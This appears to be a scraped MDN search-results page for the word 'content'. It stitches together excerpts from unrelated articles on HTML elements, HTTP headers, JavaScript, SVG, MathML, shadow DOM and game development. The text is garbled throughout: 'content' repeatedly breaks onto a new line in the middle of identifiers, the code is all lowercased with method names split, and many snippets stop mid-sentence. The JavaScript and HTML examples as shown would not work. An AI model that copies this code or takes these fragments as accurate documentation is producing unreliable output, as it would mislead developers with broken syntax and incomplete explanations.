content-type: text/html <!doctype html> <html lang=en> <head> <meta charset=utf-8> <title>html</title> </head> <body> <p>i am a html document</p> </body> </html> xhtml document
content-type: application/xhtml+xml <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with a
content-type: application/xhtml+xml header.
... instead, even though the documents are written to conform to xml syntax rules, they are served with a
content-type: text/html header — so browsers parse those documents using html parsers rather than xml parsers, which can cause a variety of sometimes-very-surprising problems.
<area> - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content.
... permitted
content none, it is an empty element.
... permitted parents any element that accepts phrasing
content.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
content categories metadata
content.
... permitted
content none, it is an empty element.
...for example: <meta property="og:image"
content="https://example.com/thumbnail.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status comment html living standardthe definition of '<base>' in that specification.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
content categories flow
content, sectioning root permitted
content flow
content tag omission none, both the starting and ending tag are mandatory.
... permitted parents any element that accepts flow
content implicit aria role dialog permitted aria roles alertdialog dom interface htmldialogelement attributes this element includes the global attributes.
...for example, to dim unreachable
content behind the modal dialog.
<dt>: The Description Term element - HTML: Hypertext Markup Language
content categories none.
... permitted
content flow
content, but with no <header>, <footer>, sectioning
content or heading
content descendants.
...the end tag may be omitted if this element is immediately followed by another <dt> or a <dd> element, or if there is no more
content in the parent element.
<form> - HTML: Hypertext Markup Language
content categories flow
content, palpable
content permitted
content flow
content, but not containing <form> elements tag omission none, both the starting and ending tag are mandatory.
... permitted parents any element that accepts flow
content implicit aria role form if the form has an accessible name, otherwise no corresponding role permitted aria roles search, none or presentation dom interface htmlformelement attributes this element includes the global attributes.
... accept comma-separated
content types the server accepts.
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
content categories none.
... permitted
content if the document is an <iframe> srcdoc document, or if title information is available from a higher level protocol (like the subject line in html email), zero or more elements of metadata
content.
... otherwise, one or more elements of metadata
content where exactly one is a <title> element.
<input type="color"> - HTML: Hypertext Markup Language
colorwell.select(); appearance variations as previously mentioned, when a browser doesn't support a color picker interface, its implementation of color inputs will be a text box that validates the
contents automatically to ensure that the value is in the correct format.
... for example, in safari 10.1, you would see something that looks looks like this: the same
content looks like this in firefox 55: in this case, clicking on the color well presents the platform's color picker for you to choose a color from (in this case, the macos picker): validation a color input's value is considered to be invalid if the user agent is unable to convert the user's input into seven-character lower-case hexadecimal notation.
... finally, we call select() to select the text
content of the color input if the control is implemented as a text field (this has no effect if a color picker interface is provided instead).
<input type="image"> - HTML: Hypertext Markup Language
important: while the alt attribute is technically optional, you should always include one to maximize the usability of your
content.
... using image inputs the <input type="image"> element is a replaced element (an element whose
content isn't generated or directly managed by the css layer), behaving in much the same way as a regular <img> element, but with the capabilities of a submit button.
... formenctype html5 specifies the type of
content that is used to submit the form to the server.
<keygen> - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, interactive
content, listed, labelable, submittable, resettable form-associated element, palpable
content.
... permitted
content none, it is an empty element.
... permitted parents any element that accepts phrasing
content.
<legend> - HTML: Hypertext Markup Language
the html <legend> element represents a caption for the
content of its parent <fieldset>.
...
content categories none.
... permitted
content phrasing
content and headings (h1–h6 elements).
<li> - HTML: Hypertext Markup Language
content categories none.
... permitted
content flow
content.
... tag omission the end tag can be omitted if the list item is immediately followed by another <li> element, or if there is no more
content in its parent element.
<map> - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, palpable
content.
... permitted
content any transparent element.
... permitted parents any element that accepts phrasing
content.
<ol>: The Ordered List element - HTML: Hypertext Markup Language
content categories flow
content, and if the <ol> element's children include at least one <li> element, palpable
content.
... permitted
content zero or more <li>, <script> and <template> elements.
... permitted parents any element that accepts flow
content.
<optgroup> - HTML: Hypertext Markup Language
content categories none.
... permitted
content zero or more <option> elements.
...the end tag is optional if this element is immediately followed by another <optgroup> element, or if the parent element has no more
content.
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
content categories none.
... permitted
content as a child of a <ruby> element.
... tag omission the end tag can be omitted if the element is immediately followed by an <rt>, <rtc>, or <rp> element or another <rb> element, or if there is no more
content in the parent element.
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
content categories none.
... permitted
content text tag omission the end tag can be omitted if the element is immediately followed by an <rt> or another <rp> element, or if there is no more
content in the parent element.
...the <rp> element is used in the case of lack of <ruby> element support; the <rp>
content provides what should be displayed in order to indicate the presence of a ruby annotation, usually parentheses.
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
content categories none.
... permitted
content phrasing
content.
... tag omission the end tag may be omitted if the <rt> element is immediately followed by an <rt> or <rp> element, or if there is no more
content in the parent element permitted parents a <ruby> element.
<ruby> - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
<select>: The HTML Select element - HTML: Hypertext Markup Language
for further examples, see the native form widgets: drop-down
content.
... technical summary
content categories flow
content, phrasing
content, interactive
content, listed, labelable, resettable, and submittable form-associated element permitted
content zero or more <option> or <optgroup> elements.
... permitted parents any element that accepts phrasing
content.
<shadow>: The obsolete Shadow Root element - HTML: Hypertext Markup Language
content categories transparent
content permitted
content flow
content tag omission none, both the starting and ending tag are mandatory.
... permitted parents any element that accepts flow
content.
...--> <div> <!-- this heading will not be displayed --> <h4>my original heading</h4> </div> <script> // get the <div> above with its
content var orig
content = document.queryselector('div'); // create the first shadow root var shadowroot1 = orig
content.createshadowroot(); // create the second shadow root var shadowroot2 = orig
content.createshadowroot(); // insert something into the older shadow root shadowroot1.innerhtml = '<p>older shadow root inserted by <shadow></p>'; // insert ...
<wbr> - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content.
... permitted
content empty tag omission it is an empty element; it must have a start tag, but must not have an end tag.
... permitted parents any element that accepts phrasing
content.
Microdata - HTML: Hypertext Markup Language
microdata is part of the whatwg html standard and is used to nest metadata within existing
content on web pages.
...where possible, authors are encouraged to re-use existing vocabularies, as this makes
content re-use easier.
...://schema.org/gameapplication"/> <div itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> rating: <span itemprop="ratingvalue">4.6</span> ( <span itemprop="ratingcount">8864</span> ratings ) </div> <div itemprop="offers" itemscope itemtype="http://schema.org/offer"> price: $<span itemprop="price">1.00</span> <meta itemprop="pricecurrency"
content="usd" /> </div> </div> structured data itemscope itemtype softwareapplication (http://schema.org/softwareapplication) itemprop name angry birds itemprop operatingsystem android itemprop applicationcategory gameapplication (http://schema.org/gameapplication) itemscope itemprop[itemtype] aggregaterating [aggregatera...
Choosing between www and non-www URLs - HTTP
this way, search engines don't index the same page several times, potentially leading to it being considered as duplicate
content or spam, and even removing or lowering your page from the search engine result pages.
... when adding such a tag, you serve the same
content for both domains, telling search engines which url is canonical.
... in the previous example, http://www.example.org/whaddup would serve the same
content as http://example.org/whaddup, but with an additional <link> element in the head: <link href="http://example.org/whaddup" rel="canonical"> unlike the previous case, browser history will consider non-www and www urls as independent entries.
Identifying resources on the Web - HTTP
an anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the
content located at that "bookmarked" spot.
... usage notes when using urls in html
content, you should generally only use a few of these url schemes.
... ftp is still acceptable at the top level (such as typed directly into the browser's url bar, or the target of a link), although some browsers may delegate loading ftp
content to another application.
Resource URLs - HTTP
in the past, web
content was able to access whatever resource: uris were desired — not only firefox’s internal resources, but also extensions’ assets.
... it is however still necessary for firefox to load resources in web
content under certain circumstances.
... resources that have to be exposed to web
content have been moved to a new location named resource://
content-accessible/, which is isolated and only contains non-sensitive resources.
Basics of HTTP - HTTP
mime types since http/1.0, different types of
content can be transmitted.
... this article explains how this is accomplished using the
content-type header and the mime standard.
...
content negotiation http introduces a set of headers, starting with accept as a way for a browser to announce the format, language, or encoding it prefers.
Cache-Control - HTTP
other no-transform an intermediate cache or proxy cannot edit the response body,
content-encoding,
content-range, or
content-type.
...this means http request occurs each time, but it can skip downloading http body if the
content is valid.
... cache-control: no-cache cache-control: no-cache, max-age=0 specifications specification status comment rfc 8246: http immutable responses ietf rfc rfc 7234: hypertext transfer protocol (http/1.1): caching ietf rfc rfc 5861: http cache-control extensions for stale
content ietf rfc initial definition ...
CSP: referrer - HTTP
the http
content-security-policy (csp) referrer directive used to specify information in the referer header (with a single r as this was a typo in the original spec) for links away from a page.
... syntax
content-security-policy: referrer <referrer-policy>; where <referrer-policy> can be one of the following values: "no-referrer" the referer header will be omitted entirely.
... examples
content-security-policy: referrer "none"; specifications not part of any specification.
CSP: require-sri-for - HTTP
the http
content-security-policy require-sri-for directive instructs the client to require the use of subresource integrity for scripts or styles on the page.
... syntax
content-security-policy: require-sri-for script;
content-security-policy: require-sri-for style;
content-security-policy: require-sri-for script style; script requires sri for scripts.
... examples if you set your site to require sri for script and styles using this directive:
content-security-policy: require-sri-for script style <script> elements like the following will be loaded as they use a valid integrity attribute.
Expect - HTTP
for example, the server may reject a request if its
content-length is too large.
... put /somewhere/fun http/1.1 host: origin.example.com
content-type: video/h264
content-length: 1234567890987 expect: 100-continue the server now checks the request headers and may respond with a 100 (continue) response to instruct the client to go ahead and send the message body, or it will send a 417 (expectation failed) status if any of the expectations cannot be met.
... specifications specification title rfc 7231, section 5.1.1: expect hypertext transfer protocol (http/1.1): semantics and
content ...
Location - HTTP
location and
content-location are different: location indicates the target of a redirection (or the url of a newly created resource), while
content-location indicates the direct url to use to access the resource when
content negotiation happened, without the need of further
content negotiation.
... location is a header associated with the response, while
content-location is associated with the entity returned.
... examples location: /index.html specifications specification title rfc 7231, section 7.1.2: location hypertext transfer protocol (http/1.1): semantics and
content ...
Save-Data - HTTP
a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when communicated to origins allows them to deliver alternative
content to reduce the data downloaded such as smaller image and video resources, different markup and styling, disabled polling and automatic updates, and so on.
... examples the vary header ensures that the
content is cached properly (for instance ensuring that the user is not served a lower-quality image from the cache when save-data header is no longer present [e.g.
... with save-data: on request: get /image.jpg http/1.0 host: example.com save-data: on response: http/1.0 200 ok
content-length: 102832 vary: accept-encoding, save-data cache-control: public, max-age=31536000
content-type: image/jpeg [...] without save-data request: get /image.jpg http/1.0 host: example.com response: http/1.0 200 ok
content-length: 481770 vary: accept-encoding, save-data cache-control: public, max-age=31536000
content-type: image/jpeg [...] specifications specification title draft-grigorik-http-client-hints-03, section 7: save-data http client hints ...
Vary - HTTP
it is used by the server to indicate which headers it used when selecting a representation of a resource in a
content negotiation algorithm.
...for example, if you are serving different
content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users.
... vary: user-agent specifications specification title rfc 7231, section 7.1.4: vary hypertext transfer protocol (http/1.1): semantics and
content ...
X-DNS-Prefetch-Control - HTTP
the implementation of this prefetching in some browsers allows domain name resolution to occur in parallel with (instead of in serial with) the fetching of actual page
content.
... by doing this, the high-latency domain name resolution process doesn't cause any delay while fetching
content.
... examples turning on and off prefetching you can either send the x-dns-prefetch-control header server-side, or from individual documents, using the http-equiv attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control"
content="off"> you can reverse this setting by setting
content to "on".
PUT - HTTP
request has body yes successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax put /new.html http/1.1 example request put /new.html http/1.1 host: example.com
content-type: text/html
content-length: 16 <p>new file</p> responses if the target resource does not have a current representation and the put request successfully creates one, then the origin server must inform the user agent by sending a 201 (created) response.
... http/1.1 201 created
content-location: /new.html if the target resource does have a current representation and that representation is successfully modified in accordance with the state of the enclosed representation, then the origin server must send either a 200 (ok) or a 204 (no
content) response to indicate successful completion of the request.
... http/1.1 204 no
content content-location: /existing.html specifications specification title rfc 7231, section 4.3.4: put hypertext transfer protocol (http/1.1): semantics and
content ...
Proxy servers and tunneling - HTTP
when navigating through different networks of the internet, proxy servers and http tunnels are facilitating access to
content on the world wide web.
...reverse proxies have several use cases, a few are: load balancing: distribute the load to several web servers, cache static
content: offload the web servers by caching static
content like pictures, compression: compress and optimize
content to speed up load time.
...the ip address of the original client is often used for debugging, statistics, or generating location-dependent
content.
Redirections in HTTP - HTTP
<head> <meta http-equiv="refresh"
content="0; url=https://example.com/"> </head> the
content attribute should start with a number indicating how many seconds the browser should wait before redirecting to the given url.
... obviously, this method only works with html, and cannot be used for images or other types of
content.
... nginx in nginx, you create a specific server block for the
content you want to redirect: server { listen 80; server_name example.com; return 301 $scheme://www.example.com$request_uri; } to apply a redirect to a directory or only certain pages, use the rewrite directive: rewrite ^/images/(.*)$ https://images.example.com/$1 redirect; rewrite ^/images/(.*)$ https://images.example.com/$1 permanent; iis in iis, you use the <httpredirect> element to configure...
HTTP resources and specifications - HTTP
specification title status rfc 7230 hypertext transfer protocol (http/1.1): message syntax and routing proposed standard rfc 7231 hypertext transfer protocol (http/1.1): semantics and
content proposed standard rfc 7232 hypertext transfer protocol (http/1.1): conditional requests proposed standard rfc 7233 hypertext transfer protocol (http/1.1): range requests proposed standard rfc 7234 hypertext transfer protocol (http/1.1): caching proposed standard rfc 5861 http cache-control extensions for stale
content informational ...
...c syntax internet standard rfc 5988 web linking defines the link header proposed standard experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 returning values from forms: multipart/form-data proposed standard rfc 6266 use of the
content-disposition header field in the hypertext transfer protocol (http) proposed standard rfc 2183 communicating presentation information in internet messages: the
content-disposition header field only a subset of syntax of the
content-disposition header can be used in the context of http messages.
... cross-origin resource sharing living standard rfc 7034 http header field x-frame-options informational rfc 6797 http strict transport security (hsts) proposed standard upgrade insecure requests upgrade insecure requests candidate recommendation
content security policy 1.0
content security policy 1.0 csp 1.1 and csp 3.0 doesn't extend the http standard obsolete microsoft document specifying legacy document modes* defines x-ua-compatible note rfc 5689 http extensions for web distributed authoring and versioning (webdav) these extensions of the web, as well as carddav and caldav, are out-of-scope for ht...
406 Not Acceptable - HTTP
the hypertext transfer protocol (http) 406 not acceptable client error response code indicates that the server cannot produce a response matching the list of acceptable values defined in the request's proactive
content negotiation headers, and that the server is unwilling to supply a default representation.
... proactive
content negotiation headers include: accept accept-charset accept-encoding accept-language in practice, this error is very rarely used.
... status 406 not acceptable specifications specification title rfc 7231, section 6.5.6: 406 not acceptable hypertext transfer protocol (http/1.1): semantics and
content ...
411 Length Required - HTTP
the hypertext transfer protocol (http) 411 length required client error response code indicates that the server refuses to accept the request without a defined
content-length header.
... note: by specification, when sending data in a series of chunks, the
content-length header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format.
... status 411 length required specifications specification title rfc 7231, section 6.5.10: 411 length required hypertext transfer protocol (http/1.1): semantics and
content ...
506 Variant Also Negotiates - HTTP
the hypertext transfer protocol (http) 506 variant also negotiates response status code may be given in the context of transparent
content negotiation (see rfc 2295).
... the variant also negotiates status code indicates an internal server configuration error in which the chosen variant is itself configured to engage in
content negotiation, so is not a proper negotiation endpoint.
... status 506 variant also negotiates specifications specification title rfc 2295, section 8.1: 506 variant also negotiates transparent
content negotiation in http ...
Grammar and types - JavaScript
const my_object = {'key': 'value'}; my_object.key = 'othervalue'; also, the
contents of an array are not protected, so the following statement is executed without problems.
...(this is similar to string interpolation features in perl, python, and more.) optionally, a tag can be added to allow the string construction to be customized, avoiding injection attacks, or constructing higher-level data structures from string
contents.
...n `in javascript '\n' is a line-feed.` // multiline strings `in javascript, template strings can run over multiple lines, but double and single quoted strings cannot.` // string interpolation var name = 'bob', time = 'today'; `hello ${name}, how are you ${time}?` // construct an http request prefix used to interpret the replacements and construction post`http://foo.org/bar?a=${a}&b=${b}
content-type: application/json x-credentials: ${credentials} { "foo": ${foo}, "bar": ${bar}}`(myonreadystatechangehandler); you should use string literals unless you specifically need to use a string object.
Optional chaining (?.) - JavaScript
it can also be helpful while exploring the
content of an object when there's no known guarantee as to which properties are required.
...using ?., you can avoid this extra test: // written as of es2019 function dosomething(on
content, onerror) { try { // ...
... do something with the data } catch (err) { if (onerror) { // testing if onerror really exists onerror(err.message); } } } // using optional chaining with function calls function dosomething(on
content, onerror) { try { // ...
import - JavaScript
import an entire module's
contents this inserts mymodule into the current scope, containing all the exports from the module in the file located in /modules/my-module.js.
... the module: file.js function getjson(url, callback) { let xhr = new xmlhttprequest(); xhr.onload = function () { callback(this.responsetext) }; xhr.open('get', url, true); xhr.send(); } export function getuseful
contents(url, callback) { getjson(url, data => callback(json.parse(data))); } the main program: main.js import { getuseful
contents } from '/modules/file.js'; getuseful
contents('http://www.example.com', data => { dosomethinguseful(data); }); dynamic import this example shows how to load functionality on to a page based on a user action, in this case a button click, and then call a function with...
... const main = document.queryselector("main"); for (const link of document.queryselectorall("nav > a")) { link.addeventlistener("click", e => { e.preventdefault(); import('/modules/my-module.js') .then(module => { module.loadpageinto(main); }) .catch(err => { main.text
content = err.message; }); }); } specifications specification ecmascript (ecma-262)the definition of 'imports' in that specification.
JavaScript typed arrays - JavaScript
a buffer (implemented by the arraybuffer object) is an object representing a chunk of data; it has no format to speak of and offers no mechanism for accessing its
contents.
...you can't directly manipulate the
contents of an arraybuffer; instead, you create a typed array view or a dataview which represents the buffer in a specific format, and use that to read and write the
contents of the buffer.
... filereader.prototype.readasarraybuffer() the filereader.prototype.readasarraybuffer() method starts reading the
contents of the specified blob or file.
<menclose> - MathML
the mathml <menclose> element renders its
content inside an enclosing notation specified by the notation attribute.
... box a2 + b2 box roundedbox a2 + b2 rounded box circle a2 + b2 circle left a2 + b2 line to the left of the
contents right a2 + b2 line to the right of the
contents top a2 + b2 line above of the
contents bottom a2 + b2 line below of the
contents updiagonalstrike a2 + b2 strikeout line through
contents from lower left to upper right downdiagonalstrike a2 + b2 strikeout...
... line through
contents from upper left to lower right verticalstrike a2 + b2 vertical strikeout line through
contents horizontalstrike a2 + b2 horizontal strikeout line through
contents madruwb a2 + b2 arabic factorial symbol updiagonalarrow a2 + b2 diagonal arrow phasorangle a2 + b2 phasor angle examples <math> <menclose notation="circle box"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </menclose> </math> specifications specification status comment mathml 3.0the definition of 'menclose' in that specification.
MathML element reference - MathML
the term presentation markup is used to describe the layout structure of mathematical notation whereas
content markup provides the underlying mathematical meaning and is not supposed to be rendered by the mathml parser (see bug 276028).
... if you want to learn more about
content markup you should consider chapter 4 in the mathml 3 specification.
... mathml presentation elements a to z math <math> (top-level element) a <maction> (binded actions to sub-expressions) <maligngroup> (alignment group) <malignmark> (alignment points) e <menclose> (enclosed
contents) <merror> (enclosed syntax error messages) f <mfenced> (parentheses) <mfrac> (fraction) g <mglyph> (displaying non-standard symbols) i <mi> (identifier) l <mlabeledtr> (labeled row in a table or a matrix) <mlongdiv> (long division notation) m <mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around
content) <mphantom> (invisible
content with reserved space) r <mroot> (radical with specified index...
Digital audio concepts - Web media technologies
this is the science that studies how humans percieve sound, and what parts of the audio frequencies we hear are most important to how we respond to those sounds, given the context and
content of the sound.
... all of this means there is a fundamental question that has to be asked and answered before choosing a codec: given the
content of the sound, the usage context, and the target audience, is it acceptable to lose some degree of audio fidelity, and if so, how much; or is it necessary that, upon decoding the data, the result be identical to the source audio?
... the type of
content being encoded can affect the choice of codec.
Using audio and video in HTML - Web media technologies
the html <audio> and <video> elements let you embed audio and video
content into a web page.
...in this guide, we'll review the media elements and how to use them in html
content.
... note: this guide is a planned update to integrate
content from various scattered places on mdn into one cohesive document or document set.
Performance budgets - Web Performance
time to interactive, first
contentful paint).
...however, based on the specific goals and
content of your site, you might choose to focus on other metrics.
... for a text-heavy site such as a blog or a news site, the first
contentful paint metric could reflect more closely the user behavior.
Progressive web apps (PWAs)
t you need to do as a developer to allow your users to take advantage of it.how to make pwas installablein this article, we learned about how we can make pwas installable with a properly-configured web manifest, and how the user can then install the pwa with the "add to home screen" feature of their browser.how to make pwas re-engageable using notifications and pushhaving the ability to cache the
contents of an app to work offline is a great feature.
...but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new
content whenever it is available.introduction to progressive web appsthis article provides an introduction to progressive web apps (pwas), discussing what they are and the advantages they offer over regular web apps.making pwas work offline with service workersin this article we took a simple look at how you can make your pwa work offline with service workers.
... everything below this point is left over from the old version of this page and will be revamped as other
content is overhauled.
baseline-shift - SVG: Scalable Vector Graphics
the baseline-shift attribute allows repositioning of the dominant-baseline relative to the dominant-baseline of the parent text
content element.
... <length-percentage> a length value raises (positive value) or lowers (negative value) the dominant-baseline of the parent text
content element by the specified length.
... a percentage value raises (positive value) or lowers (negative value) the dominant-baseline of the parent text
content element by the specified percentage of the line-height.
markerUnits - SVG: Scalable Vector Graphics
the markerunits attribute defines the coordinate system for the markerwidth and markerunits attributes and the
contents of the <marker>.
... usage notes value userspaceonuse | strokewidth default value strokewidth animatable yes userspaceonuse this value specifies that the markerwidth and markerunits attributes and the
contents of the <marker> element represent values in the current user coordinate system in place for the graphic object referencing the marker (i.e., the user coordinate system for the element referencing the <marker> element via a marker, marker-start, marker-mid, or marker-end property).
... strokewidth this value specifies that the markerwidth and markerunits attributes and the
contents of the <marker> element represent values in a coordinate system which has a single unit equal the size in user units of the current stroke width (see the stroke-width attribute) in place for the graphic object referencing the marker.
overflow - SVG: Scalable Vector Graphics
the overflow attribute sets what to do when an element's
content is too big to fit in its block formatting context.
... when scroll is specified on an <svg> element, a scrollbar or panner is normally shown for the svg viewport whether or not any of its
content is clipped.
... within svg
content, the value auto implies that all rendered
content for child elements must be visible, either through a scrolling mechanism, or by rendering with no clip.
systemLanguage - SVG: Scalable Vector Graphics
note: if several alternative language objects are enclosed in a <switch> and none of them matches, this may lead to situations where no
content is displayed.
... multiple languages may be listed for
content that is intended for multiple audiences.
... for example,
content that is presented simultaneously in the original maori and english versions, would call for: <text systemlanguage="mi, en"><!--
content goes here --></text> however, just because multiple languages are present within the object on which the systemlanguage test attribute is placed, this does not mean that it is intended for multiple linguistic audiences.
<metadata> - SVG: Scalable Vector Graphics
the <metadata> svg element adds metadata to svg
content.
...the
contents of <metadata> should be elements from other xml namespaces such as rdf, foaf, etc.
... usage context categoriesdescriptive elementpermitted
contentany elements or character data attributes global attributes core attributes global event attributes specific attributes none dom interface this element implements the svgmetadataelement interface.
<switch> - SVG: Scalable Vector Graphics
usage context categoriescontainer elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<a>, <foreignobject>, <g>, <image>, <svg>, <switch>, <text>, <use> attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes class style externalresourcesrequired transform dom interface this element implements...
... svg <switch> example this example demonstrates showing different text
content depending on the browser's language settings.
... html
content <svg viewbox="0 -20 100 50"> <switch> <text systemlanguage="ar">مرحبا</text> <text systemlanguage="de,nl">hallo!</text> <text systemlanguage="en-us">howdy!</text> <text systemlanguage="en-gb">wotcha!</text> <text systemlanguage="en-au">g'day!</text> <text systemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage="fr">bonjour!</text> <text systemlanguage="ja">こんにちは</text> <text systemlanguage="ru">Привет!</text> <text>☺</text> </switch> </svg> result ...
Clipping and masking - SVG: Scalable Vector Graphics
then every part of the target lying in a transparent area of the resulting clippath's
content will not be rendered.
...the
content of the mask is a single rect element, that is filled with a black-to-white gradient.
... as a result the pixels of the red rectangle use the luminance value of the mask
content as the alpha value (the transparency), and we see a green-to-red gradient as a result: screenshotlive sample transparency with opacity there is a simple possibility to set the transparency for a whole element.
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
symptoms previously you were able to open and display svg
content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to view html with embedded svg.
...for files loaded over the network via http, it requires and uses the value assigned to the
content-type http header.
...normally, this matters just for the entry "hkey_classes_root\.svg\
content type".
Subresource Integrity - Web security
how subresource integrity helps using
content delivery networks (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth.
... however, using cdns also comes with a risk, in that if an attacker gains control of a cdn, the attacker can inject arbitrary malicious
content into files on the cdn (or replace the files completely) and thus can also potentially attack all sites that fetch files from that cdn.
... subresource integrity enables you to mitigate some risks of attacks such as this, by ensuring that the files your web application or web document fetches (from a cdn or anywhere) have been delivered without a third-party having injected any additional
content into those files — and without any other changes of any kind at all having been made to those files.
Using shadow DOM - Web Components
we use some dom manipulation to create the element's internal shadow dom structure: // create spans let wrapper = document.createelement('span'); wrapper.setattribute('class', 'wrapper'); let icon = document.createelement('span'); icon.setattribute('class', 'icon'); icon.setattribute('tabindex', 0); let info = document.createelement('span'); info.setattribute('class', 'info'); // take attribute
content and put it inside the info span let text = this.getattribute('data-text'); info.text
content = text; // insert icon let imgurl; if(this.hasattribute('img')) { imgurl = this.getattribute('img'); } else { imgurl = 'img/default.png'; } let img = document.createelement('img'); img.src = imgurl; icon.appendchild(img); styling the shadow dom after that we create a <style> element and populate it...
... with some css to style it: // create some css to apply to the shadow dom let style = document.createelement('style'); style.text
content = ` .wrapper { position: relative; } .info { font-size: 0.8rem; width: 200px; display: inline-block; border: 1px solid black; padding: 10px; background: white; border-radius: 10px; opacity: 0; transition: 0.6s all; position: absolute; bottom: 20px; left: 10px; z-index: 3; } img { width: 1.2rem; } .icon:hover + .info, .icon:focus + .info { opacity: 1; }`; attaching the shadow dom to the shadow root the final step is to attach all the created elements to the shadow root: // attach the created elements to the shadow dom shadow.appendchild(style); shadow.appendchild(wrapper); wrapper.appendchild(icon); wrapper.appendchild(in...
...esheet example (see the source code): // apply external styles to the shadow dom const linkelem = document.createelement('link'); linkelem.setattribute('rel', 'stylesheet'); linkelem.setattribute('href', 'style.css'); // attach the created element to the shadow dom shadow.appendchild(linkelem); note that <link> elements do not block paint of the shadow root, so there may be a flash of unstyled
content (fouc) while the stylesheet loads.
<xsl:import> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:import> element is a top-level element that serves to import the
contents of one stylesheet into another stylesheet.
... generally speaking, the
contents of the imported stylesheet have a lower import precedence than that of the importing stylesheet.
... this is in contrast to <xsl:include> where the
contents of the included stylesheet have exactly the same precedence as the
contents of the including stylesheet.
Compiling from Rust to WebAssembly - WebAssembly
let's write some rust let's put this code into src/lib.rs instead: use wasm_bindgen::prelude::*; #[wasm_bindgen] extern { pub fn alert(s: &str); } #[wasm_bindgen] pub fn greet(name: &str) { alert(&format!("hello, {}!", name)); } this is the
contents of our rust project.
...open this file, and change its
contents to look like this: [package] name = "hello-wasm" version = "0.1.0" authors = ["your name <you@example.com>"] description = "a sample project with wasm-pack" license = "mit/apache-2.0" repository = "https://github.com/yourgithubusername/hello-wasm" [lib] crate-type = ["cdylib"] [dependencies] wasm-bindgen = "0.2" fill in your own repository and use the same info that git uses for the authors ...
...create webpack.config.js and put the following in it: const path = require('path'); module.exports = { entry: "./index.js", output: { path: path.resolve(__dirname, "dist"), filename: "index.js", }, mode: "development" }; now we need an html file; create index.html and give it the following
contents: <!doctype html> <html> <head> <meta charset="utf-8"> <title>hello-wasm example</title> </head> <body> <script src="./index.js"></script> </body> </html> finally, create the index.js referenced in the html file and give it these
contents: const js = import("./node_modules/hello-wasm/hello_wasm.js"); js.then(js => { js.greet("webassembly"); }); note that you need to fill...
Game promotion - Game development
there are portals like tuts+ game development which will be more than happy if you write for them - they pay for the
content, but not all topic ideas will be accepted.
... if portals you contact are not interested in your
content because you don't have any experience yet, try writing tutorials and publish them on your own blog first.
Building up a basic demo with Babylon.js - Game development
yle> </head> <body> <script src="babylon.js"></script> <canvas id="render-canvas"></canvas> <script> var canvas = document.getelementbyid("render-canvas"); /* all our javascript code goes here */ </script> </body> </html> it contains some basic information like the document <title>, and some css to set the width and height of the <canvas> element (which babylon.js will use to render the
content on) to fill the entire available viewport space.
... creating a scene a scene is the place where all the game
content is displayed.
GLSL Shaders - Game development
applying the shaders to actually apply the newly created shaders to the cube, comment out the basicmaterial definition first: // var basicmaterial = new three.meshbasicmaterial({color: 0x0095dd}); then, create the shadermaterial: var shadermaterial = new three.shadermaterial( { vertexshader: document.getelementbyid( 'vertexshader' ).text
content, fragmentshader: document.getelementbyid( 'fragmentshader' ).text
content }); this shader material takes the code from the scripts and applies it to the object the material is assigned to.
...r(0xdddddd, 1); document.body.appendchild(renderer.domelement); var scene = new three.scene(); var camera = new three.perspectivecamera(70, width/height); camera.position.z = 50; scene.add(camera); var boxgeometry = new three.boxgeometry(10, 10, 10); var shadermaterial = new three.shadermaterial( { vertexshader: document.getelementbyid( 'vertexshader' ).text
content, fragmentshader: document.getelementbyid( 'fragmentshader' ).text
content }); var cube = new three.mesh(boxgeometry, shadermaterial); scene.add(cube); cube.rotation.set(0.4, 0.2, 0); function render() { requestanimationframe(render); renderer.render(scene, camera); } render(); css body { margin: 0; padding: 0; font-size: 0; } canvas { width: ...
Implementing controls using the Gamepad API - Game development
it's part of the gamepad api
content kit available on github where you can dive deep into the code and study exactly how it works.
...you can play the full version of the hungry fridge game directly in your browser, install it from the firefox marketplace or check the source code of the demo along with all the other resources on the gamepad api
content kit.
Move the ball - Game development
don't worry, because there's a method to clear canvas
content: clearrect().
...the whole area covered by this rectangle will be cleared of any
content previously painted there.
Build the brick field - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-
content-kit/demos/lesson09.html.
...fill in the
